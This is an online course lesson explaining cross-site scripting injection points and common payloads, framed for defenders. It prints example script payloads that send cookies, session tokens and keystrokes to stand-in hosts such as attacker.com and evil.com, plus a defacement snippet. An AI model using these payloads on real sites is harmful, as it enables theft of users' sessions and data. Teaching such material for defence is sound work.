Course contentsShow
← Computer Science
Lesson 2458 of 2,87255. Web SecurityFree lesson

XSS Attack Vectors and Payloads

Identifying common injection points and malicious payloads attackers use to exploit XSS vulnerabilities.

XSS Attack Vectors and Payloads

You'll learn: How attackers identify vulnerable injection points in web applications and craft malicious JavaScript payloads to exploit XSS vulnerabilities.

Understanding Attack Vectors

An attack vector is the specific path or method an attacker uses to inject malicious code. Common XSS injection points include:

  • User input fields: Search boxes, comment forms, profile fields
  • URL parameters: Query strings like ?search=<script>...
  • HTTP headers: Referer, User-Agent (when displayed on pages)
  • File uploads: Especially filenames or metadata displayed to users
  • Cookie values: When cookies are read and displayed client-side

Think of these like doors and windows in a house—attackers probe every possible entry point to find one that's unlocked.

Malicious Payloads

A payload is the actual malicious JavaScript code injected into a vulnerable application. Common payload goals include:

Cookie theft:

<script>fetch('https://attacker.com?c='+document.cookie)</script>

Session hijacking:

<img src=x onerror="location='http://evil.com?s='+sessionStorage.token">

Keylogging:

<script>document.onkeypress=function(e){fetch('https://attacker.com?k='+e.key)}</script>

Page defacement:

<script>document.body.innerHTML='<h1>Hacked!</h1>'</script>

Attackers often obfuscate payloads using encoding (URL encoding, HTML entities, Base64) to bypass basic filters while still executing when the browser parses them.

Why This Matters

Understanding common vectors and payloads helps defenders think like attackers—you can't properly sanitize input if you don't know what malicious input looks like. Security testing should probe all input channels with various payload types to ensure proper escaping and validation.

Key Takeaway: XSS attack vectors are the injection points (input fields, URLs, headers), while payloads are the malicious JavaScript code attackers craft to steal data, hijack sessions, or manipulate page content—knowing both is essential for effective defense.